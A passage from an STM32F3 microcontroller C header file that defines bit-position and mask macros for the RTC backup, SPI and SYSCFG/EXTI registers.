(0xFFFFFFFFU << RTC_BKP3R_Pos) /*!< 0xFFFFFFFF */ #define RTC_BKP3R RTC_BKP3R_Msk /******************** Bits definition for RTC_BKP4R register ****************/ #define RTC_BKP4R_Pos (0U) #define RTC_BKP4R_Msk (0xFFFFFFFFU << RTC_BKP4R_Pos) /*!< 0xFFFFFFFF */ #define RTC_BKP4R RTC_BKP4R_Msk /******************** Number of backup registers ******************************/ #define RTC_BKP_NUMBER 5 /******************************************************************************/ /* */ /* Serial Peripheral Interface (SPI) */ /* */ /******************************************************************************/ /* * @brief Specific device feature definitions (not present on all devices in the STM32F3 serie) */ /* Note: No specific macro feature on this device */ /******************* Bit definition for SPI_CR1 register ********************/ #define SPI_CR1_CPHA_Pos (0U) #define SPI_CR1_CPHA_Msk (0x1U << SPI_CR1_CPHA_Pos) /*!< 0x00000001 */ #define SPI_CR1_CPHA SPI_CR1_CPHA_Msk /*!< Clock Phase */ #define SPI_CR1_CPOL_Pos (1U) #define SPI_CR1_CPOL_Msk (0x1U << SPI_CR1_CPOL_Pos) /*!< 0x00000002 */ #define SPI_CR1_CPOL SPI_CR1_CPOL_Msk /*!< Clock Polarity */ #define SPI_CR1_MSTR_Pos (2U) #define SPI_CR1_MSTR_Msk (0x1U << SPI_CR1_MSTR_Pos) /*!< 0x00000004 */ #define SPI_CR1_MSTR SPI_CR1_MSTR_Msk /*!< Master Selection */ #define SPI_CR1_BR_Pos (3U) #define SPI_CR1_BR_Msk (0x7U << SPI_CR1_BR_Pos) /*!< 0x00000038 */ #define SPI_CR1_BR SPI_CR1_BR_Msk /*!< BR[2:0] bits (Baud Rate Control) */ #define SPI_CR1_BR_0 (0x1U << SPI_CR1_BR_Pos) /*!< 0x00000008 */ #define SPI_CR1_BR_1 (0x2U << SPI_CR1_BR_Pos) /*!< 0x00000010 */ #define SPI_CR1_BR_2 (0x4U << SPI_CR1_BR_Pos) /*!< 0x00000020 */ #define SPI_CR1_SPE_Pos (6U) #define SPI_CR1_SPE_Msk (0x1U << SPI_CR1_SPE_Pos) /*!< 0x00000040 */ #define SPI_CR1_SPE SPI_CR1_SPE_Msk /*!< SPI Enable */ #define SPI_CR1_LSBFIRST_Pos (7U) #define SPI_CR1_LSBFIRST_Msk (0x1U << SPI_CR1_LSBFIRST_Pos) /*!< 0x00000080 */ #define SPI_CR1_LSBFIRST SPI_CR1_LSBFIRST_Msk /*!< Frame Format */ #define SPI_CR1_SSI_Pos (8U) #define SPI_CR1_SSI_Msk (0x1U << SPI_CR1_SSI_Pos) /*!< 0x00000100 */ #define SPI_CR1_SSI SPI_CR1_SSI_Msk /*!< Internal slave select */ #define SPI_CR1_SSM_Pos (9U) #define SPI_CR1_SSM_Msk (0x1U << SPI_CR1_SSM_Pos) /*!< 0x00000200 */ #define SPI_CR1_SSM SPI_CR1_SSM_Msk /*!< Software slave management */ #define SPI_CR1_RXONLY_Pos (10U) #define SPI_CR1_RXONLY_Msk (0x1U << SPI_CR1_RXONLY_Pos) /*!< 0x00000400 */ #define SPI_CR1_RXONLY SPI_CR1_RXONLY_Msk /*!< Receive only */ #define SPI_CR1_CRCL_Pos (11U) #define SPI_CR1_CRCL_Msk (0x1U << SPI_CR1_CRCL_Pos) /*!< 0x00000800 */ #define SPI_CR1_CRCL SPI_CR1_CRCL_Msk /*!< CRC Length */ #define SPI_CR1_CRCNEXT_Pos (12U) #define SPI_CR1_CRCNEXT_Msk (0x1U << SPI_CR1_CRCNEXT_Pos) /*!< 0x00001000 */ #define SPI_CR1_CRCNEXT SPI_CR1_CRCNEXT_Msk /*!< Transmit CRC next */ #define SPI_CR1_CRCEN_Pos (13U) #define SPI_CR1_CRCEN_Msk (0x1U << SPI_CR1_CRCEN_Pos) /*!< 0x00002000 */ #define SPI_CR1_CRCEN SPI_CR1_CRCEN_Msk /*!< Hardware CRC calculation enable */ #define SPI_CR1_BIDIOE_Pos (14U) #define SPI_CR1_BIDIOE_Msk (0x1U << SPI_CR1_BIDIOE_Pos) /*!< 0x00004000 */ #define SPI_CR1_BIDIOE SPI_CR1_BIDIOE_Msk /*!< Output enable in bidirectional mode */ #define SPI_CR1_BIDIMODE_Pos (15U) #define SPI_CR1_BIDIMODE_Msk (0x1U << SPI_CR1_BIDIMODE_Pos) /*!< 0x00008000 */ #define SPI_CR1_BIDIMODE SPI_CR1_BIDIMODE_Msk /*!< Bidirectional data mode enable */ /******************* Bit definition for SPI_CR2 register ********************/ #define SPI_CR2_RXDMAEN_Pos (0U) #define SPI_CR2_RXDMAEN_Msk (0x1U << SPI_CR2_RXDMAEN_Pos) /*!< 0x00000001 */ #define SPI_CR2_RXDMAEN SPI_CR2_RXDMAEN_Msk /*!< Rx Buffer DMA Enable */ #define SPI_CR2_TXDMAEN_Pos (1U) #define SPI_CR2_TXDMAEN_Msk (0x1U << SPI_CR2_TXDMAEN_Pos) /*!< 0x00000002 */ #define SPI_CR2_TXDMAEN SPI_CR2_TXDMAEN_Msk /*!< Tx Buffer DMA Enable */ #define SPI_CR2_SSOE_Pos (2U) #define SPI_CR2_SSOE_Msk (0x1U << SPI_CR2_SSOE_Pos) /*!< 0x00000004 */ #define SPI_CR2_SSOE SPI_CR2_SSOE_Msk /*!< SS Output Enable */ #define SPI_CR2_NSSP_Pos (3U) #define SPI_CR2_NSSP_Msk (0x1U << SPI_CR2_NSSP_Pos) /*!< 0x00000008 */ #define SPI_CR2_NSSP SPI_CR2_NSSP_Msk /*!< NSS pulse management Enable */ #define SPI_CR2_FRF_Pos (4U) #define SPI_CR2_FRF_Msk (0x1U << SPI_CR2_FRF_Pos) /*!< 0x00000010 */ #define SPI_CR2_FRF SPI_CR2_FRF_Msk /*!< Frame Format Enable */ #define SPI_CR2_ERRIE_Pos (5U) #define SPI_CR2_ERRIE_Msk (0x1U << SPI_CR2_ERRIE_Pos) /*!< 0x00000020 */ #define SPI_CR2_ERRIE SPI_CR2_ERRIE_Msk /*!< Error Interrupt Enable */ #define SPI_CR2_RXNEIE_Pos (6U) #define SPI_CR2_RXNEIE_Msk (0x1U << SPI_CR2_RXNEIE_Pos) /*!< 0x00000040 */ #define SPI_CR2_RXNEIE SPI_CR2_RXNEIE_Msk /*!< RX buffer Not Empty Interrupt Enable */ #define SPI_CR2_TXEIE_Pos (7U) #define SPI_CR2_TXEIE_Msk (0x1U << SPI_CR2_TXEIE_Pos) /*!< 0x00000080 */ #define SPI_CR2_TXEIE SPI_CR2_TXEIE_Msk /*!< Tx buffer Empty Interrupt Enable */ #define SPI_CR2_DS_Pos (8U) #define SPI_CR2_DS_Msk (0xFU << SPI_CR2_DS_Pos) /*!< 0x00000F00 */ #define SPI_CR2_DS SPI_CR2_DS_Msk /*!< DS[3:0] Data Size */ #define SPI_CR2_DS_0 (0x1U << SPI_CR2_DS_Pos) /*!< 0x00000100 */ #define SPI_CR2_DS_1 (0x2U << SPI_CR2_DS_Pos) /*!< 0x00000200 */ #define SPI_CR2_DS_2 (0x4U << SPI_CR2_DS_Pos) /*!< 0x00000400 */ #define SPI_CR2_DS_3 (0x8U << SPI_CR2_DS_Pos) /*!< 0x00000800 */ #define SPI_CR2_FRXTH_Pos (12U) #define SPI_CR2_FRXTH_Msk (0x1U << SPI_CR2_FRXTH_Pos) /*!< 0x00001000 */ #define SPI_CR2_FRXTH SPI_CR2_FRXTH_Msk /*!< FIFO reception Threshold */ #define SPI_CR2_LDMARX_Pos (13U) #define SPI_CR2_LDMARX_Msk (0x1U << SPI_CR2_LDMARX_Pos) /*!< 0x00002000 */ #define SPI_CR2_LDMARX SPI_CR2_LDMARX_Msk /*!< Last DMA transfer for reception */ #define SPI_CR2_LDMATX_Pos (14U) #define SPI_CR2_LDMATX_Msk (0x1U << SPI_CR2_LDMATX_Pos) /*!< 0x00004000 */ #define SPI_CR2_LDMATX SPI_CR2_LDMATX_Msk /*!< Last DMA transfer for transmission */ /******************** Bit definition for SPI_SR register ********************/ #define SPI_SR_RXNE_Pos (0U) #define SPI_SR_RXNE_Msk (0x1U << SPI_SR_RXNE_Pos) /*!< 0x00000001 */ #define SPI_SR_RXNE SPI_SR_RXNE_Msk /*!< Receive buffer Not Empty */ #define SPI_SR_TXE_Pos (1U) #define SPI_SR_TXE_Msk (0x1U << SPI_SR_TXE_Pos) /*!< 0x00000002 */ #define SPI_SR_TXE SPI_SR_TXE_Msk /*!< Transmit buffer Empty */ #define SPI_SR_CHSIDE_Pos (2U) #define SPI_SR_CHSIDE_Msk (0x1U << SPI_SR_CHSIDE_Pos) /*!< 0x00000004 */ #define SPI_SR_CHSIDE SPI_SR_CHSIDE_Msk /*!< Channel side */ #define SPI_SR_UDR_Pos (3U) #define SPI_SR_UDR_Msk (0x1U << SPI_SR_UDR_Pos) /*!< 0x00000008 */ #define SPI_SR_UDR SPI_SR_UDR_Msk /*!< Underrun flag */ #define SPI_SR_CRCERR_Pos (4U) #define SPI_SR_CRCERR_Msk (0x1U << SPI_SR_CRCERR_Pos) /*!< 0x00000010 */ #define SPI_SR_CRCERR SPI_SR_CRCERR_Msk /*!< CRC Error flag */ #define SPI_SR_MODF_Pos (5U) #define SPI_SR_MODF_Msk (0x1U << SPI_SR_MODF_Pos) /*!< 0x00000020 */ #define SPI_SR_MODF SPI_SR_MODF_Msk /*!< Mode fault */ #define SPI_SR_OVR_Pos (6U) #define SPI_SR_OVR_Msk (0x1U << SPI_SR_OVR_Pos) /*!< 0x00000040 */ #define SPI_SR_OVR SPI_SR_OVR_Msk /*!< Overrun flag */ #define SPI_SR_BSY_Pos (7U) #define SPI_SR_BSY_Msk (0x1U << SPI_SR_BSY_Pos) /*!< 0x00000080 */ #define SPI_SR_BSY SPI_SR_BSY_Msk /*!< Busy flag */ #define SPI_SR_FRE_Pos (8U) #define SPI_SR_FRE_Msk (0x1U << SPI_SR_FRE_Pos) /*!< 0x00000100 */ #define SPI_SR_FRE SPI_SR_FRE_Msk /*!< TI frame format error */ #define SPI_SR_FRLVL_Pos (9U) #define SPI_SR_FRLVL_Msk (0x3U << SPI_SR_FRLVL_Pos) /*!< 0x00000600 */ #define SPI_SR_FRLVL SPI_SR_FRLVL_Msk /*!< FIFO Reception Level */ #define SPI_SR_FRLVL_0 (0x1U << SPI_SR_FRLVL_Pos) /*!< 0x00000200 */ #define SPI_SR_FRLVL_1 (0x2U << SPI_SR_FRLVL_Pos) /*!< 0x00000400 */ #define SPI_SR_FTLVL_Pos (11U) #define SPI_SR_FTLVL_Msk (0x3U << SPI_SR_FTLVL_Pos) /*!< 0x00001800 */ #define SPI_SR_FTLVL SPI_SR_FTLVL_Msk /*!< FIFO Transmission Level */ #define SPI_SR_FTLVL_0 (0x1U << SPI_SR_FTLVL_Pos) /*!< 0x00000800 */ #define SPI_SR_FTLVL_1 (0x2U << SPI_SR_FTLVL_Pos) /*!< 0x00001000 */ /******************** Bit definition for SPI_DR register ********************/ #define SPI_DR_DR_Pos (0U) #define SPI_DR_DR_Msk (0xFFFFU << SPI_DR_DR_Pos) /*!< 0x0000FFFF */ #define SPI_DR_DR SPI_DR_DR_Msk /*!< Data Register */ /******************* Bit definition for SPI_CRCPR register ******************/ #define SPI_CRCPR_CRCPOLY_Pos (0U) #define SPI_CRCPR_CRCPOLY_Msk (0xFFFFU << SPI_CRCPR_CRCPOLY_Pos) /*!< 0x0000FFFF */ #define SPI_CRCPR_CRCPOLY SPI_CRCPR_CRCPOLY_Msk /*!< CRC polynomial register */ /****************** Bit definition for SPI_RXCRCR register ******************/ #define SPI_RXCRCR_RXCRC_Pos (0U) #define SPI_RXCRCR_RXCRC_Msk (0xFFFFU << SPI_RXCRCR_RXCRC_Pos) /*!< 0x0000FFFF */ #define SPI_RXCRCR_RXCRC SPI_RXCRCR_RXCRC_Msk /*!< Rx CRC Register */ /****************** Bit definition for SPI_TXCRCR register ******************/ #define SPI_TXCRCR_TXCRC_Pos (0U) #define SPI_TXCRCR_TXCRC_Msk (0xFFFFU << SPI_TXCRCR_TXCRC_Pos) /*!< 0x0000FFFF */ #define SPI_TXCRCR_TXCRC SPI_TXCRCR_TXCRC_Msk /*!< Tx CRC Register */ /******************************************************************************/ /* */ /* System Configuration(SYSCFG) */ /* */ /******************************************************************************/ /***************** Bit definition for SYSCFG_CFGR1 register ****************/ #define SYSCFG_CFGR1_MEM_MODE_Pos (0U) #define SYSCFG_CFGR1_MEM_MODE_Msk (0x3U << SYSCFG_CFGR1_MEM_MODE_Pos) /*!< 0x00000003 */ #define SYSCFG_CFGR1_MEM_MODE SYSCFG_CFGR1_MEM_MODE_Msk /*!< SYSCFG_Memory Remap Config */ #define SYSCFG_CFGR1_MEM_MODE_0 (0x00000001U) /*!< Bit 0 */ #define SYSCFG_CFGR1_MEM_MODE_1 (0x00000002U) /*!< Bit 1 */ #define SYSCFG_CFGR1_TIM1_ITR3_RMP_Pos (6U) #define SYSCFG_CFGR1_TIM1_ITR3_RMP_Msk (0x1U << SYSCFG_CFGR1_TIM1_ITR3_RMP_Pos) /*!< 0x00000040 */ #define SYSCFG_CFGR1_TIM1_ITR3_RMP SYSCFG_CFGR1_TIM1_ITR3_RMP_Msk /*!< Timer 1 ITR3 selection */ #define SYSCFG_CFGR1_DAC1_TRIG1_RMP_Pos (7U) #define SYSCFG_CFGR1_DAC1_TRIG1_RMP_Msk (0x1U << SYSCFG_CFGR1_DAC1_TRIG1_RMP_Pos) /*!< 0x00000080 */ #define SYSCFG_CFGR1_DAC1_TRIG1_RMP SYSCFG_CFGR1_DAC1_TRIG1_RMP_Msk /*!< DAC1 Trigger1 remap */ #define SYSCFG_CFGR1_DMA_RMP_Pos (11U) #define SYSCFG_CFGR1_DMA_RMP_Msk (0x1FU << SYSCFG_CFGR1_DMA_RMP_Pos) /*!< 0x0000F800 */ #define SYSCFG_CFGR1_DMA_RMP SYSCFG_CFGR1_DMA_RMP_Msk /*!< DMA remap mask */ #define SYSCFG_CFGR1_TIM16_DMA_RMP_Pos (11U) #define SYSCFG_CFGR1_TIM16_DMA_RMP_Msk (0x1U << SYSCFG_CFGR1_TIM16_DMA_RMP_Pos) /*!< 0x00000800 */ #define SYSCFG_CFGR1_TIM16_DMA_RMP SYSCFG_CFGR1_TIM16_DMA_RMP_Msk /*!< Timer 16 DMA remap */ #define SYSCFG_CFGR1_TIM17_DMA_RMP_Pos (12U) #define SYSCFG_CFGR1_TIM17_DMA_RMP_Msk (0x1U << SYSCFG_CFGR1_TIM17_DMA_RMP_Pos) /*!< 0x00001000 */ #define SYSCFG_CFGR1_TIM17_DMA_RMP SYSCFG_CFGR1_TIM17_DMA_RMP_Msk /*!< Timer 17 DMA remap */ #define SYSCFG_CFGR1_TIM6DAC1Ch1_DMA_RMP_Pos (13U) #define SYSCFG_CFGR1_TIM6DAC1Ch1_DMA_RMP_Msk (0x1U << SYSCFG_CFGR1_TIM6DAC1Ch1_DMA_RMP_Pos) /*!< 0x00002000 */ #define SYSCFG_CFGR1_TIM6DAC1Ch1_DMA_RMP SYSCFG_CFGR1_TIM6DAC1Ch1_DMA_RMP_Msk /*!< Timer 6 / DAC1 Ch1 DMA remap */ #define SYSCFG_CFGR1_TIM7DAC1Ch2_DMA_RMP_Pos (14U) #define SYSCFG_CFGR1_TIM7DAC1Ch2_DMA_RMP_Msk (0x1U << SYSCFG_CFGR1_TIM7DAC1Ch2_DMA_RMP_Pos) /*!< 0x00004000 */ #define SYSCFG_CFGR1_TIM7DAC1Ch2_DMA_RMP SYSCFG_CFGR1_TIM7DAC1Ch2_DMA_RMP_Msk /*!< Timer 7 / DAC1 Ch2 DMA remap */ #define SYSCFG_CFGR1_DAC2Ch1_DMA_RMP_Pos (15U) #define SYSCFG_CFGR1_DAC2Ch1_DMA_RMP_Msk (0x1U << SYSCFG_CFGR1_DAC2Ch1_DMA_RMP_Pos) /*!< 0x00008000 */ #define SYSCFG_CFGR1_DAC2Ch1_DMA_RMP SYSCFG_CFGR1_DAC2Ch1_DMA_RMP_Msk /*!< DAC2 CH1 DMA remap */ #define SYSCFG_CFGR1_I2C_PB6_FMP_Pos (16U) #define SYSCFG_CFGR1_I2C_PB6_FMP_Msk (0x1U << SYSCFG_CFGR1_I2C_PB6_FMP_Pos) /*!< 0x00010000 */ #define SYSCFG_CFGR1_I2C_PB6_FMP SYSCFG_CFGR1_I2C_PB6_FMP_Msk /*!< I2C PB6 Fast mode plus */ #define SYSCFG_CFGR1_I2C_PB7_FMP_Pos (17U) #define SYSCFG_CFGR1_I2C_PB7_FMP_Msk (0x1U << SYSCFG_CFGR1_I2C_PB7_FMP_Pos) /*!< 0x00020000 */ #define SYSCFG_CFGR1_I2C_PB7_FMP SYSCFG_CFGR1_I2C_PB7_FMP_Msk /*!< I2C PB7 Fast mode plus */ #define SYSCFG_CFGR1_I2C_PB8_FMP_Pos (18U) #define SYSCFG_CFGR1_I2C_PB8_FMP_Msk (0x1U << SYSCFG_CFGR1_I2C_PB8_FMP_Pos) /*!< 0x00040000 */ #define SYSCFG_CFGR1_I2C_PB8_FMP SYSCFG_CFGR1_I2C_PB8_FMP_Msk /*!< I2C PB8 Fast mode plus */ #define SYSCFG_CFGR1_I2C_PB9_FMP_Pos (19U) #define SYSCFG_CFGR1_I2C_PB9_FMP_Msk (0x1U << SYSCFG_CFGR1_I2C_PB9_FMP_Pos) /*!< 0x00080000 */ #define SYSCFG_CFGR1_I2C_PB9_FMP SYSCFG_CFGR1_I2C_PB9_FMP_Msk /*!< I2C PB9 Fast mode plus */ #define SYSCFG_CFGR1_I2C1_FMP_Pos (20U) #define SYSCFG_CFGR1_I2C1_FMP_Msk (0x1U << SYSCFG_CFGR1_I2C1_FMP_Pos) /*!< 0x00100000 */ #define SYSCFG_CFGR1_I2C1_FMP SYSCFG_CFGR1_I2C1_FMP_Msk /*!< I2C1 Fast mode plus */ #define SYSCFG_CFGR1_ENCODER_MODE_Pos (22U) #define SYSCFG_CFGR1_ENCODER_MODE_Msk (0x3U << SYSCFG_CFGR1_ENCODER_MODE_Pos) /*!< 0x00C00000 */ #define SYSCFG_CFGR1_ENCODER_MODE SYSCFG_CFGR1_ENCODER_MODE_Msk /*!< Encoder Mode */ #define SYSCFG_CFGR1_ENCODER_MODE_0 (0x1U << SYSCFG_CFGR1_ENCODER_MODE_Pos) /*!< 0x00400000 */ #define SYSCFG_CFGR1_ENCODER_MODE_1 (0x2U << SYSCFG_CFGR1_ENCODER_MODE_Pos) /*!< 0x00800000 */ #define SYSCFG_CFGR1_ENCODER_MODE_TIM2_Pos (22U) #define SYSCFG_CFGR1_ENCODER_MODE_TIM2_Msk (0x1U << SYSCFG_CFGR1_ENCODER_MODE_TIM2_Pos) /*!< 0x00400000 */ #define SYSCFG_CFGR1_ENCODER_MODE_TIM2 SYSCFG_CFGR1_ENCODER_MODE_TIM2_Msk /*!< TIM2 IC1 and TIM2 IC2 are connected to TIM15 IC1 and TIM15 IC2 respectively */ #define SYSCFG_CFGR1_ENCODER_MODE_TIM3_Pos (23U) #define SYSCFG_CFGR1_ENCODER_MODE_TIM3_Msk (0x1U << SYSCFG_CFGR1_ENCODER_MODE_TIM3_Pos) /*!< 0x00800000 */ #define SYSCFG_CFGR1_ENCODER_MODE_TIM3 SYSCFG_CFGR1_ENCODER_MODE_TIM3_Msk /*!< TIM3 IC1 and TIM3 IC2 are connected to TIM15 IC1 and TIM15 IC2 respectively */ #define SYSCFG_CFGR1_FPU_IE_Pos (26U) #define SYSCFG_CFGR1_FPU_IE_Msk (0x3FU << SYSCFG_CFGR1_FPU_IE_Pos) /*!< 0xFC000000 */ #define SYSCFG_CFGR1_FPU_IE SYSCFG_CFGR1_FPU_IE_Msk /*!< Floating Point Unit Interrupt Enable */ #define SYSCFG_CFGR1_FPU_IE_0 (0x01U << SYSCFG_CFGR1_FPU_IE_Pos) /*!< 0x04000000 */ #define SYSCFG_CFGR1_FPU_IE_1 (0x02U << SYSCFG_CFGR1_FPU_IE_Pos) /*!< 0x08000000 */ #define SYSCFG_CFGR1_FPU_IE_2 (0x04U << SYSCFG_CFGR1_FPU_IE_Pos) /*!< 0x10000000 */ #define SYSCFG_CFGR1_FPU_IE_3 (0x08U << SYSCFG_CFGR1_FPU_IE_Pos) /*!< 0x20000000 */ #define SYSCFG_CFGR1_FPU_IE_4 (0x10U << SYSCFG_CFGR1_FPU_IE_Pos) /*!< 0x40000000 */ #define SYSCFG_CFGR1_FPU_IE_5 (0x20U << SYSCFG_CFGR1_FPU_IE_Pos) /*!< 0x80000000 */ /***************** Bit definition for SYSCFG_RCR register *******************/ #define SYSCFG_RCR_PAGE0_Pos (0U) #define SYSCFG_RCR_PAGE0_Msk (0x1U << SYSCFG_RCR_PAGE0_Pos) /*!< 0x00000001 */ #define SYSCFG_RCR_PAGE0 SYSCFG_RCR_PAGE0_Msk /*!< ICODE SRAM Write protection page 0 */ #define SYSCFG_RCR_PAGE1_Pos (1U) #define SYSCFG_RCR_PAGE1_Msk (0x1U << SYSCFG_RCR_PAGE1_Pos) /*!< 0x00000002 */ #define SYSCFG_RCR_PAGE1 SYSCFG_RCR_PAGE1_Msk /*!< ICODE SRAM Write protection page 1 */ #define SYSCFG_RCR_PAGE2_Pos (2U) #define SYSCFG_RCR_PAGE2_Msk (0x1U << SYSCFG_RCR_PAGE2_Pos) /*!< 0x00000004 */ #define SYSCFG_RCR_PAGE2 SYSCFG_RCR_PAGE2_Msk /*!< ICODE SRAM Write protection page 2 */ #define SYSCFG_RCR_PAGE3_Pos (3U) #define SYSCFG_RCR_PAGE3_Msk (0x1U << SYSCFG_RCR_PAGE3_Pos) /*!< 0x00000008 */ #define SYSCFG_RCR_PAGE3 SYSCFG_RCR_PAGE3_Msk /*!< ICODE SRAM Write protection page 3 */ /***************** Bit definition for SYSCFG_EXTICR1 register ***************/ #define SYSCFG_EXTICR1_EXTI0_Pos (0U) #define SYSCFG_EXTICR1_EXTI0_Msk (0xFU << SYSCFG_EXTICR1_EXTI0_Pos) /*!< 0x0000000F */ #define SYSCFG_EXTICR1_EXTI0 SYSCFG_EXTICR1_EXTI0_Msk /*!< EXTI 0 configuration */ #define SYSCFG_EXTICR1_EXTI1_Pos (4U) #define SYSCFG_EXTICR1_EXTI1_Msk (0xFU << SYSCFG_EXTICR1_EXTI1_Pos) /*!< 0x000000F0 */ #define SYSCFG_EXTICR1_EXTI1 SYSCFG_EXTICR1_EXTI1_Msk /*!< EXTI 1 configuration */ #define SYSCFG_EXTICR1_EXTI2_Pos (8U) #define SYSCFG_EXTICR1_EXTI2_Msk (0xFU << SYSCFG_EXTICR1_EXTI2_Pos) /*!< 0x00000F00 */ #define SYSCFG_EXTICR1_EXTI2 SYSCFG_EXTICR1_EXTI2_Msk /*!< EXTI 2 configuration */ #define SYSCFG_EXTICR1_EXTI3_Pos (12U) #define SYSCFG_EXTICR1_EXTI3_Msk (0xFU << SYSCFG_EXTICR1_EXTI3_Pos) /*!< 0x0000F000 */ #define SYSCFG_EXTICR1_EXTI3 SYSCFG_EXTICR1_EXTI3_Msk /*!< EXTI 3 configuration */ /*!<* * @brief EXTI0 configuration */ #define SYSCFG_EXTICR1_EXTI0_PA (0x00000000U) /*!< PA[0] pin */ #define SYSCFG_EXTICR1_EXTI0_PB (0x00000001U) /*!< PB[0] pin */ #define SYSCFG_EXTICR1_EXTI0_PC (0x00000002U) /*!< PC[0] pin */ #define SYSCFG_EXTICR1_EXTI0_PD (0x00000003U) /*!< PD[0] pin */ #define SYSCFG_EXTICR1_EXTI0_PE (0x00000004U) /*!< PE[0] pin */ #define SYSCFG_EXTICR1_EXTI0_PF (0x00000005U) /*!< PF[0] pin */ /*!<* * @brief EXTI1 configuration */ #define SYSCFG_EXTICR1_EXTI1_PA (0x00000000U) /*!< PA[1] pin */ #define SYSCFG_EXTICR1_EXTI1_PB (0x00000010U) /*!< PB[1] pin */ #define SYSCFG_EXTICR1_EXTI1_PC (0x00000020U) /*!< PC[1] pin */ #define SYSCFG_EXTICR1_EXTI1_PD (0x00000030U) /*!< PD[1] pin */ #define SYSCFG_EXTICR1_EXTI1_PE (0x00000040U) /*!< PE[1] pin */ #define SYSCFG_EXTICR1_EXTI1_PF (0x00000050U) /*!< PF[1] pin */ /*!<* * @brief EXTI2 configuration */ #define SYSCFG_EXTICR1_EXTI2_PA (0x00000000U) /*!< PA[2] pin */ #define SYSCFG_EXTICR1_EXTI2_PB (0x00000100U) /*!< PB[2] pin */ #define SYSCFG_EXTICR1_EXTI2_PC (0x00000200U) /*!< PC[2] pin */ #define SYSCFG_EXTICR1_EXTI2_PD (0x00000300U) /*!< PD[2] pin */ #define SYSCFG_EXTICR1_EXTI2_PE (0x00000400U) /*!< PE[2] pin */ #define SYSCFG_EXTICR1_EXTI2_PF (0x00000500U) /*!< PF[2] pin */ /*!<* * @brief EXTI3 configuration */ #define SYSCFG_EXTICR1_EXTI3_PA (0x00000000U) /*!< PA[3] pin */ #define SYSCFG_EXTICR1_EXTI3_PB (0x00001000U) /*!< PB[3] pin */ #define SYSCFG_EXTICR1_EXTI3_PC (0x00002000U) /*!< PC[3] pin */ #define SYSCFG_EXTICR1_EXTI3_PD (0x00003000U) /*!< PD[3] pin */ #define SYSCFG_EXTICR1_EXTI3_PE (0x00004000U) /*!< PE[3] pin */ /***************** Bit definition for SYSCFG_EXTICR2 register ***************/ #define SYSCFG_EXTICR2_EXTI4_Pos (0U) #define SYSCFG_EXTICR2_EXTI4_Msk (0xFU << SYSCFG_EXTICR2_EXTI4_Pos) /*!< 0x0000000F */ #define SYSCFG_EXTICR2_EXTI4 SYSCFG_EXTICR2_EXTI4_Msk /*!< EXTI 4 configuration */ #define SYSCFG_EXTICR2_EXTI5_Pos (4U) #define SYSCFG_EXTICR2_EXTI5_Msk (0xFU << SYSCFG_EXTICR2_EXTI5_Pos) /*!< 0x000000F0 */ #define SYSCFG_EXTICR2_EXTI5 SYSCFG_EXTICR2_EXTI5_Msk /*!< EXTI 5 configuration */ #define SYSCFG_EXTICR2_EXTI6_Pos (8U) #define SYSCFG_EXTICR2_EXTI6_Msk (0xFU << SYSCFG_EXTICR2_EXTI6_Pos) /*!< 0x00000F00 */ #define SYSCFG_EXTICR2_EXTI6 SYSCFG_EXTICR2_EXTI6_Msk /*!< EXTI 6 configuration */ #define SYSCFG_EXTICR2_EXTI7_Pos (12U) #define SYSCFG_EXTICR2_EXTI7_Msk (0xFU << SYSCFG_EXTICR2_EXTI7_Pos) /*!< 0x0000F000 */ #define SYSCFG_EXTICR2_EXTI7 SYSCFG_EXTICR2_EXTI7_Msk /*!< EXTI 7 configuration */ /*!<* * @brief EXTI4 configuration */ #define SYSCFG_EXTICR2_EXTI4_PA (0x00000000U) /*!< PA[4] pin */ #define SYSCFG_EXTICR2_EXTI4_PB (0x00000001U) /*!< PB[4] pin */ #define SYSCFG_EXTICR2_EXTI4_PC (0x00000002U) /*!< PC[4] pin */ #define SYSCFG_EXTICR2_EXTI4_PD (0x00000003U) /*!< PD[4] pin */ #define SYSCFG_EXTICR2_EXTI4_PE (0x00000004U) /*!< PE[4] pin */ #define SYSCFG_EXTICR2_EXTI4_PF (0x00000005U) /*!< PF[4] pin */ /*!<* * @brief EXTI5 configuration */ #define SYSCFG_EXTICR2_EXTI5_PA (0x00000000U) /*!< PA[5] pin */ #define SYSCFG_EXTICR2_EXTI5_PB (0x00000010U) /*!< PB[5] pin */ #define SYSCFG_EXTICR2_EXTI5_PC (0x00000020U) /*!< PC[5] pin */ #define SYSCFG_EXTICR2_EXTI5_PD (0x00000030U) /*!< PD[5] pin */ #define SYSCFG_EXTICR2_EXTI5_PE (0x00000040U) /*!< PE[5] pin */ #define SYSCFG_EXTICR2_EXTI5_PF (0x00000050U) /*!< PF[5] pin */ /*!<* * @brief EXTI6 configuration */ #define SYSCFG_EXTICR2_EXTI6_PA (0x00000000U) /*!< PA[6] pin */ #define SYSCFG_EXTICR2_EXTI6_PB (0x00000100U) /*!< PB[6] pin */ #define SYSCFG_EXTICR2_EXTI6_PC (0x00000200U) /*!< PC[6] pin */ #define SYSCFG_EXTICR2_EXTI6_PD (0x00000300U) /*!< PD[6] pin */ #define SYSCFG_EXTICR2_EXTI6_PE (0x00000400U) /*!< PE[6] pin */ #define SYSCFG_EXTICR2_EXTI6_PF (0x00000500U) /*!< PF[6] pin */ /*!<* * @brief EXTI7 configuration */ #define SYSCFG_EXTICR2_EXTI7_PA (0x00000000U) /*!< PA[7] pin */ #define SYSCFG_EXTICR2_EXTI7_PB (0x00001000U) /*!< PB[7] pin */ #define SYSCFG_EXTICR2_EXTI7_PC (0x00002000U) /*!< PC[7] pin */ #define SYSCFG_EXTICR2_EXTI7_PD (0x00003000U) /*!< PD[7] pin */ #define SYSCFG_EXTICR2_EXTI7_PE (0x00004000U) /*!< PE[7] pin */ /***************** Bit definition for SYSCFG_EXTICR3 register ***************/ #define SYSCFG_EXTICR3_EXTI8_Pos (0U) #define SYSCFG_EXTICR3_EXTI8_Msk (0xFU << SYSCFG_EXTICR3_EXTI8_Pos) /*!< 0x0000000F */ #define SYSCFG_EXTICR3_EXTI8 SYSCFG_EXTICR3_EXTI8_Msk /*!< EXTI 8 configuration */ #define SYSCFG_EXTICR3_EXTI9_Pos (4U) #define SYSCFG_EXTICR3_EXTI9_Msk (0xFU << SYSCFG_EXTICR3_EXTI9_Pos) /*!< 0x000000F0 */ #define SYSCFG_EXTICR3_EXTI9 SYSCFG_EXTICR3_EXTI9_Msk /*!< EXTI 9 configuration */ #define SYSCFG_EXTICR3_EXTI10_Pos (8U) #define SYSCFG_EXTICR3_EXTI10_Msk (0xFU << SYSCFG_EXTICR3_EXTI10_Pos) /*!< 0x00000F00 */ #define SYSCFG_EXTICR3_EXTI10 SYSCFG_EXTICR3_EXTI10_Msk /*!< EXTI 